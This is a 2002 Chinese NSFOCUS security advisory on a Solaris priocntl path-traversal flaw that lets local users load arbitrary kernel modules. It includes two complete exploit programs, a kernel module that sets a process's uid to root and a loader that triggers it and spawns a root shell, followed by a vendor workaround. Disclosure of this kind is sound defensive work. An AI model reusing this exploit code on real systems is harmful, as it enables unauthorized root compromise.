首页 -> 安全研究
安全研究
绿盟月刊
绿盟安全月刊->第37期->最新漏洞
日期:2002-12-02
发布日期:2002-11-27
更新日期:2002-11-29
受影响系统:
Sun Solaris 9.0
Sun Solaris 8.0_x86
Sun Solaris 8.0
Sun Solaris 7.0_x86
Sun Solaris 7.0
Sun Solaris 2.6_x86
Sun Solaris 2.6sparc
Sun Solaris 2.5.1
Sun Solaris 2.5
描述:
--------------------------------------------------------------------------------
Solaris是一款由Sun Microsystems公司开发和维护的商业UNIX操作系统。
Solaris中的priocntl在调用参数时对用户的数据缺少正确过滤,本地攻击者可以利用这个漏洞无需ROOT权限指定加载任意内核模块,或在核心态下执行任意代码。
Solaris中的priocntl系统调用用于进程切换控制,其调用方法如下:
long priocntl(idtype_t idtype, id_t id, int cmd, /* arg */ ...);
当'cmd'参数设置为PC_GETCID时,就会加载第四个参数所指定的模块,而priocntl()调用模块的时候没有任何权限的检查。priocntl系统调用加载内核模块的缺省路径是kernel/sched和/usr/kernel/sched(除非你在/etc/system文件中指定的其他路径),虽然这两个路径只有ROOT权限可读,我们不能写这两个目录来指定自己的模块,但是,由于priocntl()对'../'字符缺少正确处理,可导致本地攻击者利用这个漏洞指定任意目录中的模块进行装载,或在核心态下执行任意代码。
<*来源:侯杰 (jerryhj@yeah.net)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103842619803173&w=2
http://www.hacker.com.cn/newbbs/dispbbs.asp?boardID=8&RootID=23110&ID=23110
http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/Alert-49131&type=0&nav=sec.sba
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
侯杰(jerryhj@yeah.net) 提供了如下测试程序:
Gsu.zipkk_qq@263.net(kk_qq@263.net)" target="_blank">http://www.mycgiserver.com/~jerryhj/Gsu.zipkk_qq@263.net(kk_qq@263.net) 提供了如下测试程序:
/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions
*/
#include <sys/systm.h>
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/kmem.h>
#include <sys/errno.h>
#include <sys/proc.h>
#include <sys/user.h>
#include <sys/thread.h>
#include <sys/cred.h>
#include <vm/as.h>
#include <vm/seg.h>
#include <vm/seg_vn.h>
typedef unsigned int DWORD;
DWORD ptree[20]={0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff,
0xffffffff,0xffffffff,0xffffffff};
/*
* This is the loadable module wrapper.
*/
#include <sys/modctl.h>
int _info(struct modinfo *modinfop)
{
return -1;
}
int _init(void)
{
proc_t *current,*pp;
pid_t rec;
int i,cnt;
for(i=0;ptree[i]!=0xffffffff;i++);
cnt=i;
cmn_err(CE_NOTE ,"Get Su: cnt=%d", cnt);
current=curproc;
while(current->p_pidp->pid_id!=0) current=current->p_parent;
pp=current;
for(i=0;i<cnt;i++) {
pp=pp->p_child;
cmn_err(CE_NOTE ,"Get Su: search pid=%d", ptree[i]);
while(pp!=0) {
if(pp->p_pidp->pid_id==ptree[i]) break;
pp=pp->p_sibling;
}
if(pp==0) goto ERR;
}
if(pp!=0) {
pp->p_cred->cr_ruid=0;
pp->p_cred->cr_uid=0;
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_pidp->pid_id);
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_ruid);
cmn_err(CE_NOTE ,"Get Su: %d", pp->p_cred->cr_uid);
}
ERR:
cmn_err(CE_NOTE ,"Get Su: not found");
return -1;
}kk_qq@263.net(kk_qq@263.net) 提供了如下测试程序:
/*
Writen By CatDog
the module find the user's proccess's cred struct
change it's owner uid to 0(root)
this code can work properly in any conditions
Links:
support@catdogsoft.com
http://www.catdogsoft.com/S8EXP/
Reference:
jerryhj@yeah.net
http://www.hacker.com.cn/newbbs/dispbbs.asp?boardID=8&RootID=23110&ID=23110
*/
#include <stdio.h>
#include <sys/types.h>
#include <procfs.h>
#include <unistd.h>
#include <errno.h>
#include <sys/priocntl.h>
#include <sys/rtpriocntl.h>
#include <sys/tspriocntl.h>
#define OFFSET 0x2dc
#define OFFSET64 0x39c
pid_t getpppid(pid_t pid)
{
psinfo_t psinf;
int fd;
char buf[256];
sprintf(buf, "/proc/%d/psinfo", pid);
fd=open(buf,0);
if(fd!=-1) {
read(fd, &psinf, sizeof(psinfo_t));
close(fd);
}
return psinf.pr_ppid;
}
void Load(int m64)
{
pcinfo_t pcinfo;
if(!m64)
strcpy(pcinfo.pc_clname, "../../../tmp/flkm32");
if(m64)
strcpy(pcinfo.pc_clname, "../../../tmp/flkm64");
priocntl(0,getpid(),PC_GETCID,(caddr_t)&pcinfo);
}
main(int argc,char *argv[])
{
pid_t pid;
pid_t ptree[20], *pptree;
int i,j,k;
int fd;
int m64=0;
if(argc==2) {
if(atoi(argv[1])==64) m64=1;
}
printf("is 64 bit: %d\n",m64);
pid=getpid();
memset(ptree, 0, 20*sizeof(pid_t));
ptree[0]=pid;
for(i=1;i<20;i++) {
pid=getpppid(pid);
if(pid==0) break;
ptree[i]=pid;
}
pptree=(pid_t *)malloc((i+1)*sizeof(pid_t));
k=0;
for(j=19;j>=0;j--) {
if(ptree[j]==0) continue;
//printf("%d %x\n", ptree[j], ptree[j]);
pptree[k]=ptree[j];
k++;
}
pptree[k]=0xffffffff;
if(!m64) system("cp -f flkm32 /tmp/flkm32");
if(m64) mkdir("/tmp/sparcv9",0777);
if(m64) system("cp -f flkm64 /tmp/sparcv9/flkm64");
if(!m64) fd=open("/tmp/flkm32",2);
if(m64) fd=open("/tmp/sparcv9/flkm64",2);
if(fd!=-1){
if(!m64) lseek(fd, OFFSET, SEEK_SET);
if(m64) lseek(fd, OFFSET64, SEEK_SET);
printf("%d bytes to write\n", i*sizeof(pid_t));
k=write(fd, pptree, i*sizeof(pid_t));
printf("%d bytes wroten\n", k);
close(fd);
}else{
printf("err! open flkm error!\n");
exit(-1);
}
free(pptree);
Load(m64);
printf("id=%d\n", k=getuid());
if(!m64) {
system("rm -fr /tmp/flkm32");
}
if(m64) {
system("rm -fr /tmp/sparcv9");
}
if(k==0) {
printf("SUCCESS! Enjoy RootShell!\n");
execl("/bin/sh","sh",NULL);
}else{
printf("fail!\n");
}
}
建议:
--------------------------------------------------------------------------------
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* Casper Dik <Casper.Dik@Sun.COM>提供如下临时解决方法:
由于"pc_clname[]"参数限制了大小,用下面的脚本可以防止这个特殊漏洞
for dir in /kernel /usr/kernel
do
cd $dir
mkdir -p a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
mv sched a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p
ln -s a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/p/sched .
done
厂商补丁:
Sun
---
Sun已经为此发布了一个安全公告(Sun-Alert-49131):
Sun-Alert-49131:Security Vulnerability Involving the priocntl(2) System Call
链接:http://sunsolve.sun.com/pub-cgi/retrieve.pl?doctype=coll&doc=secbull/Alert-49131&type=0&nav=sec.sba
补丁下载:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新补丁
版权所有,未经许可,不得转载